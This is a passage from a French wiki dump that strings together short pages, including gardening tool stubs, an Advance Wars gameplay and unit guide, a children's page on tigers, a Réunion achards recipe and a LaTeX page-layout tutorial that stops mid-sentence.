Alltt Image:Description.png 6495 28903 2006-01-14T13:30:42Z Trotinette 954 Description Description Image:Listes imbriquées.png 6496 28904 2006-01-14T13:31:38Z Trotinette 954 Listes imbriquées Listes imbriquées Image:Enumerate.png 6497 28905 2006-01-14T13:32:12Z Trotinette 954 Enumerate Enumerate Image:Itemize.png 6498 28906 2006-01-14T13:32:32Z Trotinette 954 Itemize Itemize Image:Footnote.png 6500 28917 2006-01-14T14:56:25Z Trotinette 954 Note de pied de page Note de pied de page Image:Guillemets.png 6501 28934 2006-01-14T17:12:07Z Trotinette 954 Guillemets Guillemets Cordeau 6502 29180 2006-01-17T16:59:58Z Zivax 1021 Bandeau [[Catégorie:Outil de jardinage]] {{ébauche}} Un '''cordeau''' est un outil très fréquemment fabriqué par le jardinier. Il est composé de deux bâtons d’acacia (imputrescible) si possible, taillés en pointe et reliés par un fil de coton (extra souple) ou de nylon souple, d'une longueur d'environ dix mètres. Le cordeau sert à tracer des lignes droites pour les semis ou les plantations. Transplantoir 6503 29179 2006-01-17T16:59:28Z Zivax 1021 Bandeau [[Catégorie:Outil de jardinage]] {{ébauche}} le '''transplantoir''' est une sorte de petite pelle individuelle à manche court. Plantoir 6504 29178 2006-01-17T16:58:46Z Zivax 1021 Bandeau [[Catégorie:Outil de jardinage]] {{ébauche}} Un plantoir est un outil individuel comportant une extrémité en forme de cône et servant à faire des trous dans le sol fraîchement bêché. Serfouette 6506 29176 2006-01-17T16:57:54Z Zivax 1021 Bandeau [[Catégorie:Outil de jardinage]] {{ébauche}} Une '''serfouette''' appelée souvent rayonnoir est un outil individuel comportant un manche en frêne avec une emmanchure à douille, où se fixe la partie métallique à tirer en forme de racloir opposé de deux dents en acier trempé. La serfouette sert à marquer par empreinte dans le sol une ligne tracée à l'aide d’un cordeau pour préparer les semis. Advance Wars 6509 43341 2006-05-28T19:02:17Z 81.50.21.246 == [[Gameplay]] == [[Image:Mv_anim_usine.gif|right|thumbnail|240px|'''2''': Construire ses unités et finir son tour s'apprend rapidement]] On dirige son curseur avec la croix directionnelle puis on sélectionne une case avec le bouton A (le bouton B sert toujours à annuler une action, comme dans la plupart des jeux). Les règles suivantes s'appliquent alors, dans cet ordre (la première règle validée empêche les autres de se déclencher) : * La case contient une unité n'ayant pas agi ce tour-ci. Une zone éclairée apparaît autour d'elle indiquant les cases qu'elle peut atteindre. Si elle appartient au joueur, on peut la déplacer puis la faire agir selon la liste des actions possibles. L´unité devient alors affichée en gris et ne sera disponible qu´au tour suivant. * La case contient un bâtiment créateur d'unités (usine, aéroport, port) : un menu s´ouvre avec une liste de toutes les unités constructibles, et, en regard de cette liste, l´argent nécessaire à leur fabrication. Il suffit de déplacer le curseur pour choisir l'unité que l´on désire obtenir puis appuyer sur le bouton A. Si le joueur dispose des fonds nécessaires, l´unité apparaît sur la case du bâtiment et pourra se déplacer et attaquer au prochain tour. Pour le moment, elle ne peut que riposter en cas d´attaque au prochain tour adverse. * Cas par défaut : Un menu déroulant s'ouvre et offre plusieurs options comme afficher les statistiques des unités, les revenus, la possibilité de sauvegarder et de quitter le jeu ou de finir son tour. C'est le menu principal (accessible également par SELECT). [[Image:Mw Move&fire.gif|right|thumbnail|240px|'''3''': De même que se déplacer et attaquer]] Une application stratégique de ces règles fait ressortir le phénomène suivant : la sélection d'une usine sur laquelle se trouve une unité est impossible. De ce fait, il est préférable de ne pas stationner ses unités là où se trouvent les usines sous peine de les empêcher de produire une unité. Par ailleurs, le stationnement de ses propres unités sur les usines ennemies l'empêche d'en produire, ce qui permet d´arrêter sa production d´unités et accélérer sa défaite. ===Actions possibles=== [[Image:VTB.gif|right|thumbnail|240px|'''4''': On peut déplacer les unités sur de grandes distances grace aux unités de transport]] Lorsqu´on a sélectionné une unité, on doit d´abord lui désigner l´endroit où elle doit se rendre. Pour ce faire, il faut déplacer le curseur sur une des cases que l´unité peut atteindre (rester en place est considéré par le programme comme un déplacement sur sa propre case), puis appuyer sur le bouton A pour déplacer l´unité et faire apparaitre un panel qui propose les actions que l´unité peut effectuer dans le contexte où elle se trouve. Ces actions seront détaillées dans le point suivant. Le déplacement obéit a deux règles simples: :# Deux unités ne peuvent '''jamais''' se trouver sur une meme case. On ne peut pas déplacer une de ses propres unités sur une case occupée par une autre de ses unités. :# On peut déplacer ses unités par dessus ses propres unités. Ainsi, une unité alliéee se trouvant dans un passage étroit ne bloque pas son armée. Cependant, on ne peut pas passer par dessus une unité ennemie. Ainsi, une simple infanterie dans une vallée ou sur un pont peut bloquer une armée ennemie cent fois supérieure en nombre. Cette subtilité présente dans la grande majorité des jeux de stratégie au tour par tour <!-- jstt? --> est la base de la technique du [[mur défensif]]. Une fois sa destination choisie, il faut appuyer sur le bouton A pour faire apparaitre un panel proposant les actions que l´unité peut effectuer dans le contexte où elle se trouve. :#'''Attendre''': Cette option apparait quel que soit le contexte. L´unité n´effectue alors aucune action. :#'''Attaquer''': Cette option apparait lorsque l´unité se trouve au contact d´une ou de plusieurs unités ennemies. L´unité engage alors le combat selon des règles qui seront détaillés plus loin. :#'''Capturer''': Cette action n´est disponible qu´avec l´infanterie ou le bazooka et dans le cas ou cette unité se trouve sur une propriété ennemie ou neutre. Les règles de la capture seront détaillées plus loin. :#'''Approvisionner''': Cette action n´est disponible qu´avec le VTB et dans le cas où cette unité se trouve au contact d´une unité alliée ne disposant pas de toute ses ressourses (munitions/essence/rations). :#'''Charger''': Cette action apparait lorsqu´une unité se déplace sur une unité alliée capable de la contenir (VTB, Héli Trans, Barge). L´unité se charge alors dedans et devient indisponible jusqu´a ce qu´elle soit déchargée. :#'''Décharger''': Cette action n´est possible qu´avec des unités de transport contenant une unité et que si une case adjacente où l´unité peut débarquer est disponible. :#'''Grouper''': Disponible lorsqu´une unité se déplace sur une autre unité alliée du même type qu´elle. Les deux unité fusionnent et additionnent leurs pv. Si la somme dépasse 10 (''toutes'' les unités ont une base de 10 pv), l´excédent est converti en argent. C´est une stratégie que de nombreux joueurs avertis utilisent lorsqu´il leur manque que quelques crédits pour construire une unité puissante et qui leur permet ainsi de gagner un tour, au prix de la «perte» d´une unité moins puissante. Toutes ces action sont validée par une pression du bouton A, sauf l´action « attaquer » dans le cas où plusieurs ennemis se trouvent a portée de l´unité sélectionnée et l´action décharger. Il faut alors choisir sa cible puis valider / choisir un espace adjacent libre parmi ceux disponibles puis valider. Les actions ne peuvent pas etre annulées et rendent l´unité indisponible pendant toute la durée du tour. Cependant, tout ce qui précède l´accomplissement de l´action (sélection, déplacement, choix de l´action, choix de la cible/espace adjacent libre) peut être annulé par une pression du bouton B. Cela permet d´essayer plusieurs combinaisons d´actions puis de les comparer afin de choisir l´action la plus efficace. Si à la fin du tour, le joueur possède des unités auxquelles il n´a assigné aucune action, celles-ci accomplissent automatiquement l'action de déplacement sur leur case propre, et d'attente. == Les unités == ===Terrestres=== * '''Le fantassin''' Coût: 1000 | Munitions: Mitrailleuse(ill) | Déplacement: 3 | Portée: Corps a corps <br /> Le fantassin est l´unité la moins onéreuse a produire. Sa capacité a capturer les propriétés et son déplacement plus élevé que celui du bazooka nécessitent d´en produire tout au long de la partie du fait de leur faible durée de vie et de leur faible puissance (hormis contre les unites a pieds et a tir indirect). Cette unité est très utilisée en première ligne où elle sert d´écran peu onéreux et facilement remplacable. * '''Le bazooka''' Coût: 3000 | Munitions: 3 roquettes et mitrailleuse (ill) | Déplacement: 2 | Portée: Corps a corps <br /> Unité relativement spécialisée. Son faible déplacement le pénalise dans les grandes cartes de plaines et forêts où il a besoin d´un VTB pour devenir efficace. Néamoins, en milieu fortement montagneux, il peut utiliser son abscence de pénalité sur ce terrain et la couverture défensive qui en résulte. Ses cibles privilégiées sont les tanks et autres unités mécaniques, car il possède la même puissance offensive que celles-ci pour un prix beaucoup moins élevé. On peut également pratiquer la stratégie du [[submergement (stratégie de jeu vidéo)|submergement]] qui consiste à assurer une production ininterrompue de bazookas et a ensevelir son adversaire sous le nombre. * '''Le recon''' Coût: 4000 | Munitions: Mitrailleuse(ill) | Déplacement: 8 (roues) | Portée: Corps a corps <br /> C'est une unité très puissante contre les infanteries et unités tir indirect, elle est néamoins très fragile contre une attaque de bazooka ou de tank. Elle sert a bloquer les capture de l´adversaire en début de partie en mettant la pression sur les infanteries en train de capturer des propriétés neutres. Son grand taux de déplacement est pénalisé par son moyen de locomotion (roues), et le rend beaucoup moins efficace dans les cartes où il y'a peu de routes. En brouillard de guerre, quel que soit le type de terrain, le recon est indispensable car disposant d´un champ de vision très étendu (5 cases). * '''Le tank''' Coût: 7000 | Munitions: 9 obus et mitrailleuse (ill) | Déplacement: 6 (chenilles) | Portée: Corps a corps <br /> Unité puissante, disposant d´une bonne vision, d´un excélent déplacement et relativement peu chère. Elle domine nettement les infanteries et recons et la production en masse de ces unités peut etre considérée commeune stratégie valable avec les généraux disposants d´avantages avec ce type d´unités (Max notament) * '''Le tank M''' Cout: 16000 | Munitions: 8 obus et mitrailleuse (ill) | Déplacement: 5 (chenilles) | Portée: Corps a corps <br /> Unité au corps a corps la plus puissante du jeu. Elle permet d´occasionner des ravages considérables sur l´adversaire si celui-ci ne lui trouve pas rapidement une parade (autre tank M ou unité a tir indirct).<br /> Ses points faibles sont: :* Son faible déplacement (5) par rapport au tank (6).<br /> :* Le peu de munitions qu´il peut transporter (8). :* Sa visibilité très réduite (1 case) qui lui interdit d´agir sans soutien des autres unités. * '''Le VTB''' Coût: 5000 | Non armé | Déplacement: 6 (chenilles) <br /> Unité servant a transporter des troupes a pieds et a réapprovisionner les unités en munitions et en essence/rations. Indispensable en début de jeu pour [[Rush (stratégie de jeu vidéo)|rusher]] les villes neutres avancées. Dans les grandes cartes permettants de faire des aéroports, elle se révèle indispensable pour ravitailler les chausseurs et bombardiers en essence. * '''L´artillerie''' Coût: 6000 | Munitions: 9 ogives | Déplacement: 5 (chenilles) | Portée: 2 a 3 cases <br /> L´artillerie dispose d´une visibilité très réduite. Comme le L-Miss, l´artillerie ne peut pas tirer après un déplacement. * '''Le L-Miss''' Coût: 15000 | Munitions: 6 | Déplacement: 5 (roues) | Portée: 3 a 5 cases <br /> Alternative du tank M. Il dispose d'une visibilité très réduite et une route est primordiale pour pouvoir mener cette unité sur le champ de bataille. Son extreme fragilité contrebalance sa surpuissance. * '''La DCA''' Coût: 8000 | Munitions: 9 <!-- a vérifier -->| Déplacement: 6 (chenilles) | Portée: Corps a corps <br /> La DCA (ou défense anti-aérienne) est une unite assez complèxe qui peut dérouter les débutants: bien que plus chère que le tank, elle est néamoins totalement innefficace contre celui-ci. Sa fonction principale consciste a abattre les unités volantes. Mais il faut également noter que c´est l´unité qui occasionne le plus de dégats (dans cet ordre de prix) aux infanteries ou au bazookas. Utile pour briser des murs ou achever un ordinateur qui se lance dans une production en masse de bazookas. * '''L´ A-air''' Cout: 12000 | Munitions: 6 | Déplacement: 4 | Portée: 3 a 5 cases <br /> L´unité la moins utilisée du jeu. Bien que capable d´abattre n´importe quelle unité aerienne en un tir, son utilité sans brouillard de guerre est quasi-nulle car elle ne peut pas etre protégée par des murs défensifs. Avec le brouillard de guerre, son faible déplacement fait que l´unité met du temps a arriver sur le champ de bataille, et encore d´avantage pour se cacher dans une foret (du fait des roues). Visibilité très réduite donc nécessité de soutien comme toutes les unités puissantes ou/et a tir indirect. Le fait que les unités les plus pissantes sont celles qui disposent de la plus mauvaise portée de vue oblige le joueur a produire des unités variées tout au long de la partie. Le [[Mass units]] n'est donc pas une stratégie valable dans ce jeu, comme cela a pu l'être pour [[Warcraft III]] ou [[Starcraft]]. === Aériennes === * '''Le chasseur''' Coût: 20000 | Munitions: 9 | Déplacement: 9 | Portée: corps a corps <br /> Le chasseur est généralement destiné a contrer un bombardier ou un autre chasseur. On le voit plus rarement dans d´autres cas, car le prix investi dans cette unité est trop important face au risque de la perdre contre une dca. * '''Le bombardier''' Coût: 22000 | Munitions: 9 | Déplacement: 8 | Portée: corps a corps <br /> L´unité au corps à corps la plus puissante du jeu. Elle peut attaquer toutes les unités terrestres et maritimes sans risquer de contre-attaque. Seule la DCA le peut ; mais sur une route, elle est détruite en une seule attaque. * '''L´hélico''' Coût: 9000 | Munitions: 6 missiles et mitrailleuse (ill) | Déplacement: 6 | Portée: corps a corps <br /> Il est considéré comme le tank aérien. Peu cher et assez puissant, il n´est néamoins pas invulnérable et peut se faire attaquer par une grande partie des unités terrestres. Il ne peut pas attaquer les bombardiers et les chasseurs, mais le chasseur peut l´attaquer. * '''L´hélicoptère de transport''' Coût: 5000 | Munitions: Pas armé | Déplacement: 6 | Portée: - <br /> L´équivalent du VTB sans le ravitaillement. Son avantage est qu'il peut traverser la mer et les montagnes sans encombre mais il est néamoins extrêmement fragile face aux DCA et autres hélicoptères. === Maritimes === * '''Le cuirassé''' Coût: 28000 | Munitions: 9 | Déplacement: 5 | Portée: 2 a 6 cases <br /> Le cuirassé est l'unité a tir indirect la plus puissante du jeu. Sa zone de tir est également plus étendue que celle du L-miss en profondeur et en proximité. Ne pas anticiper la production d'un cuirassé ennemi peut s´avérer critique, car les seules parades valables pour contrer cette unité sont le sous-marins et le bombardier qui coûtent extrêmement cher et nécessitent donc d'avoir commencé a économiser un ou deux tours avant. * '''Le destroyer''' Coût: 18000 | Munitions: 9 | Déplacement: 6 | Portée: corps a corps <br /> Le destroyer, au même titre que le DCA est une unité assez déroutante car elle ne peut tirer que sur les avions et sous-marins, en leur occasionnant toutefois des dommages considérables. * '''La barge''' Coût: 12000 | Munitions: Pas armé | Déplacement: 6 | Portée: - <br /> La barge est une unité de transport pouvant contenir deux unités terrstres, tanks y compris. Elle se déplace sur l'eau et la plage. Elle ne peut décharger qu'en étant sur du sable ou un port. Ces endroits se trouvant parfois en des lieux peu accessibles et bien défendus, nécessitent au préalable d'avoir mené une bataille navale pour y accéder. * '''Le sous-marin''' Coût: 20000 | Munitions: 6 | Déplacement: 5 | Portée: corps a corps <br /> Le sous marin est l'unité la plus efficace contre les cuirassés et les barges. Sa capacité a plonger la rend invisible et invulnérable aux tirs ennemis. Seul un destroyer peut atteindre un sous marin immergé. Cette unité perd très rapidement son essence, ce qui l'oblige a revenir souvent près de la côte où un VTB pourra le réapprovisionner. [[Catégorie:Jeu vidéo]] Image:Points de suspension2.png 6510 28987 2006-01-15T13:12:14Z Trotinette 954 Points de suspension 2 Points de suspension 2 Image:Points de suspension1.png 6511 28988 2006-01-15T13:12:39Z Trotinette 954 Points de suspension 1 Points de suspension 1 Image:Taille.png 6512 28993 2006-01-15T13:48:42Z Trotinette 954 Taille du texte Taille du texte Image:Emph.png 6513 28995 2006-01-15T13:59:34Z Trotinette 954 Emphase Emphase Modèle:Commons 6518 29024 2006-01-16T13:05:12Z Boly38 136 import depuis [[wikipedia:fr:Modèle:Commons]] {{Wikilien|image=Commons-logo.svg|texte='''[[Commons:Accueil|Wikimedia Commons]]''' propose des documents multimédia sur '''[[Commons:{{{1|{{PAGENAME}}}}}|{{{2|{{PAGENAME}}}}}]]'''.|couleur_fond=f9f9f9}} Modèle:Wikilien 6519 29025 2006-01-16T13:06:21Z Boly38 136 import depuis [[wikipedia:fr:Modèle:Wikilien]] <div class="noprint" style="clear:right;float:right;margin:0 0 1em 1em;spacing:0;width:250px;border:solid #AAAAAA 1px;background:#{{{couleur_fond}}};padding:4px;font-size:90%;text-align:left;"> <div style="float:left;">[[Image:{{{image}}}|50px]]</div> <div style="margin-left:60px;">{{{texte}}}</div> </div> Wikijunior:Les félins/Les tigres 6520 44259 2006-06-09T20:59:42Z 41.250.43.171 /* Comment les tigre éduquent-ils leurs petits ? */ [[Image:Panthera tigris tigris.jpg|left|thumb|200px|Un [[wikipedia:fr:Tigre du Bengale|tigre du Bengale]]]]{{Les félins}} ==Les tigres== La vitesse et l'agilité sont des atouts qui font du tigre le premier des prédateurs, avant même le robuste mais lent ours [[wikipedia:fr:Grizzly|Grizzly]]. Un athlète en puissance, le tigre peut grimper (pas si mal), nager, sauter de grandes distances et sa force correspond à 5 fois celle d'un homme fort. Le tigre est le plus robuste et le plus puissant des fauves. Le tigre est dans le même groupe (''[[wikipedia:fr:Panthera|genre Panthera]]'') que les lions, les léopards, et guépards. Ces 4 fauves sont les seuls qui peuvent rugir. ===Où vivent-ils ?=== [[Image:Tigers.png|left|100px|En vert : les lieux de vie des tigres]] Ils vivent dans les forêts et prairies de l'est et du sud de l'Asie. Le tigre vit dans des pays tels que [[wikipedia:fr:Bangladesh|Bangladesh]], [[wikipedia:fr:Bhoutan|Bhoutan]], [[wikipedia:fr:Chine|Chine]], [[wikipedia:fr:Inde|Inde]], [[wikipedia:fr:Népal|Népal]], [[wikipedia:fr:Cambodge|Cambodge]], [[wikipedia:fr:Laos|Laos]], [[wikipedia:fr:Malaisie|Malaisie]], [[wikipedia:fr:Birmanie|Birmanie]], la [[wikipedia:fr:Thaïlande|Thaïlande]] et le [[wikipedia:fr:Viêt Nam|Vietnam]], l'[[wikipedia:fr:Indonésie|Indonésie]] (''Java et Sumatra''), et l'est de la [[wikipedia:fr:Russie|Russie]]. Le [[wikipedia:fr:Tigre du Bengale|tigre du Bengale]] est l'animal national pour l'Inde. <!-- les espaces servent pour éviter les superposition titre/image --> ===A quoi ressemblent-ils ?=== [[Image:White tigers drinking.jpg|thumb|left|Le [[wikipedia:fr:Tigre blanc royal|tigre blanc royal]]]] [[Image:Tigergebiss.jpg|thumb|right|Les tigres ont des mâchoires impressionnantes]] Les tigres sont habituellement orange ou rouge orangé, avec des rayures noires foncées et des zones blanches sur la poitrine, le cou et l'intérieur des pattes. Ses rayures l'aident à se camoufler dans les arbres et buissons, leur évitant ainsi de se faire voir par d'autres animaux. Certains tigres, dont les ancêtres ont vécu en Inde, sont blancs avec des rayures noires. Les variantes de couleurs claires sont rares dans la nature car cela rend plus difficile le camouflage. *Longueur de la tête, du corps : 5 pied 10 pouces - 9 pied 1 pouce. Un grand tigre peut mesurer 3 mètres de long (10 pieds) *Taille (hauteur) : 91 cm (36 pouces) *Poids: 160-250 kg (350-550 livres) *Dents et mâchoire très robustes <!-- Jaws == Mâchoire :o) --><!-- LISTE A FINIR --> *Pattes fortement matelassées *Colorations: blanc ou chamois vif - ocre rougeâtre, s'éclaircissant pour devenir blanc en dessous. *Bandes noires irrégulières sur tout le corps, variant pour chaque individu. *Mâchoires puissantes <!-- Redite ! --!> *Fourrure courte et épaisse et moustaches épaisses et longues. <!-- les 'Clr' servent pour éviter les superposition titre/image --> {{Clr}} ===Que mangent les tigres et comment chassent-ils ?=== [[Image:Tiger chasing a deer cropped.jpg|left|thumb|Un tigre en train de chasser un cervidé]] <!-- [+Image d'un tigre ayant une grande gueule et de grands crocs :)] --> Les tigres mangent le plus souvent des herbivores (des animaux qui mangent des plantes), tels que les [[wikipedia:fr:Élan|élans]], les [[wikipedia:fr:Cervidae|cervidés]], les [[wikipedia:fr:Sanglier|sangliers]], et les [[wikipedia:fr:Buffle|buffles]]. Comme la majorité des autres fauves, ils chassent seuls. Les tigres sont souvent cachés près du sol et attendent le meilleur moment pour surprendre leur proie. Les gens évitent les attaques de tigres en utilisant des masques sur l'arrière de leur tête. Les tigres ne peuvent pas attaquer par derrière car il se retrouvent toujours face à une tête ;), or ils n'attaquent que par derrière pour surprendre leur proie (les tigres y réfléchissent à deux fois pour bondir quand ils voient un visage, car ils attaquent habituellement par derrière). Heureusement, ils n'attaquent que rarement l'homme sauf quand ils sont malades et ne peuvent chasser leurs proies habituelles. <!-- les espaces servent pour éviter les superposition titre/image --> ===Comment les tigres éduquent-ils leurs petits ?=== [[Image:Tigercub.jpg|right|150px|un bébé tigre]] Les tigres ont entre 1 et 5 petits par portée (en moyenne 2 ou 3). À l'âge de 8 semaines, les petits commencent à rejoindre la mère pour la chasse. Ils apprennent habituellement comment tuer une proie à l'âge de 6 mois mais ne deviennent indépendants qu'entre 15 et 18 mois (entre 1 an<sup>1/4</sup> et 1 an<sup>1/2</sup>). Le père ne joue aucun rôle dans leur éducation, même si parfois on a signalé des tigres mâles accompagnant les femelles et les petits en dehors de la saison des amours. ===Faits amusants=== Les tigres sont rayés (de part en part). Si vous rasiez un tigre (et cela n'arrive que très rarement), vous verriez les bandes correspondant aux rayures sur la peau. Nota bene : Ne faites pas cela à la maison ! ===Classification=== [[Image:Tigers playing in water.jpg |thumb|right|Des tigres jouant avec l'eau]] Les tigres font partie de l'ordre des [[wikipedia:fr:Carnivora|Carnivores]], de la famille des [[wikipedia:fr:Felidae|Félidés]], et ont pour nom scentifique [[wikipedia:fr:Panthera tigris|Panthera tigris]]. {{Clr}} <!-- indépendance des sections vis à vis des images --> ===Plus d'informations=== * [[wikipedia:fr:Panthera tigris|Wikipédia : Tigre]] * {{en}} [http://www.5tigers.org Save the Tiger Fund] Fonds pour la sauvegarde des tigres {{commons|Panthera tigris|les tigres}} [[Catégorie:Wikijunior:Les félins|Les tigres]] [[en:Wikijunior Big Cats/Tiger]] [[de:Wikijunior Großkatzen/Tiger]] [[it:Wikijunior Grandi felini/Tigre]] [[zh:Wikijunior:大猫/老虎]] Dictionnaire des nuances en français 6531 29072 2006-01-16T21:02:16Z Vrykolaka 94 [[Dictionnaire des nuances en français]] déplacé vers [[Dictionnaire des parasynonymes en français]]: Découverte du terme exact #REDIRECT [[Dictionnaire des parasynonymes en français]] Cuisine:Recettes de cuisine réunionaise 6535 29200 2006-01-17T20:06:02Z Fredo on earth 1051 = AMUSE-GUEULE ET ENTREES = == [[Cuisine:Les Achards|Les Achards]] == '''Ingrédients''' *500 gr de haricots verts *3 carottes *1/2 choux vert *2 oignons *2 gousses d'ail *1 morceau de gingembre *1/2 cuillère à café de curcuma *1 jus de citron *1 cuillère à soupe de vinaigre rouge *sel, piments, huile '''Préparation''' #Hachez en long bâtonnets les haricots verts, les carottes et le choux. #Émincez les oignons puis pilez le gingembre avec le sel, l'ail et le piment. #Faites revenir les légumes dans l'huile, jusqu'à ce qu'ils s'attendrissement. #Faire dorer les oignons 1 minute puis ajoutez le mélange pilé en remuant. #Ajoutez le curcuma et versez sur les légumes. #Bien mélanger et ajouter la cuillère à soupe de vinaigre. Programmation LaTeX Mise en page 6539 44477 2006-06-13T15:35:44Z 193.252.216.104 {{LaTeX-nav}} Le système Latex avec la classe de document s'occupera normalement de la mise en page pour vous. Lorsque votre travail doit être soumis à un éditeur pour être publié, la mise en page ne vous appartient pas et ce sont les éditeurs vous imposeront la présentation. Cependant, pour vos documents personnels, il y a quelques éléments dans la page que vous pouvez souhaiter modifier comme les marges, l'orientation du texte, les colonnes, etc. Le but de ce chapitre est de vous montrer comment configurer les paramètres pour la mise en page. === Les dimensions de la page === Une page en Latex est définie par une myriade de paramètres internes. Chaque paramètre correspond à la longueur d'un élément de la page, par exemple, <tt>\paperheight</tt> est la taille physique de la page. L'extension <tt>layout</tt> permet de visualiser dynamiquement la mise en page d'un document (bien que le résultat soit légèrement réduit!), et fournit également les valeurs de plusieurs dimensions, qui peuvent être très significatives. Regardez [tutorial8/playout.pdf mise en page (pdf)] avant de continuer. Il faut prendre garde au fait que la taille d'une page par défaut est celle des documents étasuniens, c'est-à-dire celle de ''US letter'' et non celle du format ''A4''. Les pages sont en longueur plus courtes de 3/4 pouce, et légèrement plus larges de 1/4 pouce, comparé au format ''A4'' (qui est la norme en France et au Royaume-Uni). Ce n'est pas trop gênant parce que la plupart des imprimantes imprimeront tout de même la page en entier. Cependant, il est possible d'indiquer d'autres tailles, avec l'option ''a4paper'' de la classe de document. \documentclass[a4paper]{article} L'exemple ci-dessus illustre comment passer le paramètre facultatif à <tt>\documentclass</tt>, qui modifiera alors les dimensions de la page en conséquence. Les classes standards de document font partie de Latex et ont été conçues de façon à être assez génériques, ce qui explique pourquoi vous avez la possibilité d'indiquer la taille de la page. D'autres classes peuvent avoir plusieurs options (ou aucune). Normalement, les classes sont documentées pour vous aider à les utiliser. De plus, il existe plusieurs extensions prévues pour permettre la modification des dimensions d'une page, en changeant les valeurs par défaut de tous les paramètres de la classe de document. Une extension comme <tt>a4</tt> est plutôt spécialisée dans un seul type de page. L'une des extensions les plus souples qui s'adapte aux besoins de mise en page est <tt>geometry</tt>. Elle sera utilisée un certain nombre de fois dans ce guide parce qu'elle dispose de beaucoup de possibilités. Quoi qu'il en soit, pour fixer la taille d'une page, ajoutez simplement la ligne suivante à votre préambule: \usepackage[a4paper]{geometry} ''a4paper'' correspond simplement l'une des nombreuses tailles de page prédéfinies intégrées. Les autres sont par exemple <tt>a0paper, a1paper, ..., a6paper, b0paper, b1paper, ..., b6paper, letterpaper, legalpaper, executivepaper.</tt>. === Orientation de la page === Quand vous entendez parler de changement d'orientation de la page, cela évoque habituellement un passage en mode paysage, le mode portrait étant celui par défaut. Je présenterai, deux façons légèrement différentes de changer l'orientation de la page. La première est celle qui consiste à placer tout votre document en mode paysage dès le début. Il existe diverses extensions pour réaliser ce changement, mais celle que je préfère est l'extension <tt>geometry</tt>. Il suffit pour l'utiliser, d'inclure cette extension avec l'option ''landscape'' (paysage). \usepackage[landscape]{geometry} Si de plus vous avez l'intention d'employer l'extension <tt>geometry</tt> avec une option pour fixer la taille de la page, n'exécutez surtout pas la commande ''\usepackage'' deux fois, mais regroupez simplement toutes les options ensemble, en les séparant par des virgules: \usepackage[a4paper,landscape]{geometry} La deuxième méthode permet d'écrire un document en mode portrait et d'afficher une certaine partie du contenu de la page en mode paysage pour une raison d'occupation d'espace ou esthétique. Cette partie pourrait comporter par exemple un très grand diagramme ou une table qui seraient mieux affichés dans l'autre sens. Mais vous voulez que vos en-têtes et titres de pied de page apparaissent au même endroit que dans les autres pages. L'extension <tt>lscape</tt> est spécialisée dans cette tâche. Elle fournit un environnement <tt>landscape</tt>, et tout ce qui se trouve dans cet environnement est tourné dans un sens. Les dimensions de la page ne sont pas modifiées. Cette possibilité peut être appliquée aux livres et aux rapports, comme aux publications scolaires. === Les marges sont trop larges === Les lecteurs qui utilisent régulièrement un traitement de texte classique, se demandent probablement pourquoi il y a tellement d'espace blanc entourant un texte produit avec Latex. Il y a une bonne raison à cela, et elle est directement en rapport avec la lisibilité. Allez lire quelques livres, et sélectionnez des lignes au hasard. Comptez le nombre de caractères par ligne. Je parie que la moyenne est d'environ 66 caractères. Les études ont prouvé qu'il est plus facile de lire le texte quand il y a entre 60 et 70 caractères par la ligne, et il semblerait que 66 soit le nombre optimal. Par conséquent, les marges de page sont positionnées afin d'assurer la meilleure lisibilité possible. L'espace blanc est souvent laissé du côté de la marge intérieure au cas où le document aurait la prétention d'être relié, cela doit laisser l'espace nécessaire pour lier les pages. Indépendamment de tout cela, vous aimeriez certainement modifier les paramètres de marge, alors de nouveau, l'extension <tt>geometry</tt> s'offre à vous. (Cependant, avant de poursuivre, je signale que vous pouvez d'abord essayer simplement l'extension <tt>a4wide</tt>, qui produit des lignes plus larges, sans la nécessité de configurer les largeurs de marge). Vous pourriez directement changer les paramètres appropriés avec la commande <tt>\setlength</tt>, cependant, il est beaucoup plus facile se suivre la méthode suivante. Logiquement, il y a quatre paramètres prévus pour les marges de page qui peuvent être modifié au moyen de l'extension <tt>geometry</tt>: ''top, bottom, left, right'' (haut, bas, gauche, droit). <tt>\usepackage[top=</tt>''longueur''<tt>, bottom=</tt>''longueur''<tt>, left=</tt>''longueur ''<tt>, right=</tt>''longueur''<tt>]{geometry}</tt> Remplacez simplement ''longueur'' par la longueur désirée (par exemple. <tt>3cm</tt>) pour chaque paramètre que vous voulez changer. === Styles de page=== ==== Personnalisation avec l'extension <tt>fancyhdr</tt> ==== L'appel à l'extension <tt>fancyhdr</tt> est sans doute la manière la plus commode de façonner vos en-têtes et pieds de page. Cette extension est très souple d'utilisation, et je vais simplement vous donner un avant goût de ce que vous pouvez faire avec. Vous pourrez trouver un guide plus complet, en consultant la [http://www.ctan.org/tex-archive/macros/latex/contrib/fancyhdr/fancyhdr.pdf documentation] écrite par l'auteur de l'extension. Pour commencer, ajoutez les lignes suivantes à votre préambule: \usepackage{fancyhdr} \pagestyle{fancy} L'en-tête et le pied de page comportent chacun trois parties correspondant à des positions horizontales différentes (à gauche, au centre ou à droite). Pour fixer leurs valeurs, les commandes suivantes sont disponibles: {| | <tt>\lhead[</tt>''lh-even''<tt>]{</tt>''lh-odd''<tt>}</tt> | <tt>\lfoot[</tt>''lf-even''<tt>]{</tt>''lf-odd''<tt>}</tt> |- | <tt>\chead[</tt>''ch-even''<tt>]{</tt>''ch-odd''<tt>}</tt> | <tt>\cfoot[</tt>''cf-even''<tt>]{</tt>''cf-odd''<tt>}</tt> |- | <tt>\rhead[</tt>''rh-even''<tt>]{</tt>''rh-odd''<tt>}</tt> | <tt>\rfoot[</tt>''rf-even''<tt>]{</tt>''rf-odd''<tt>}</tt> |} L'effet produit par chacune de ces commandes se devine assez facilement: si une commande contient le mot ''head'', alors elle va affecter l'entête de la page etc., et évidemment, ''l'', ''c'' et ''r'' signifie gauche (''left''), centre (''centre'') et droite (''right'') respectivement. Les documents peuvent être recto ou recto-verso. Les articles sont par défaut recto, et les livres sont recto-verso. Les documents recto-verso différencient les pages de gauche (impaires) et de droite (paires), tandis que les documents recto ne font pas cette différence. Un exemple: \fancyhead{} \fancyfoot{} \lhead{Andrew Roberts} \rhead{\today} \rfoot{\thepage} ==== Page de n à m ==== Certaines personnes aiment numéroter les pages du document entier en indiquant éventuellement le nombre total de pages ; mais Latex ne permet d'accéder qu'au numéro de la page courante et par défaut vous ne pourrez que placer au bas de la page ce numéro. Cependant, vous pouvez inclure l'extension <tt>lastpage</tt> pour déterminer le nombre total de pages, et l'employer de la manière suivante: \usepackage{lastpage} ... \cfoot{\thepage\ sur \pageref{LastPage}} Remarquez les lettres majuscules de ''LastPage''. Ainsi, en plaçant une barre oblique inversée après \thepage pour laisser un espacement approprié entre le numéro de page et le « 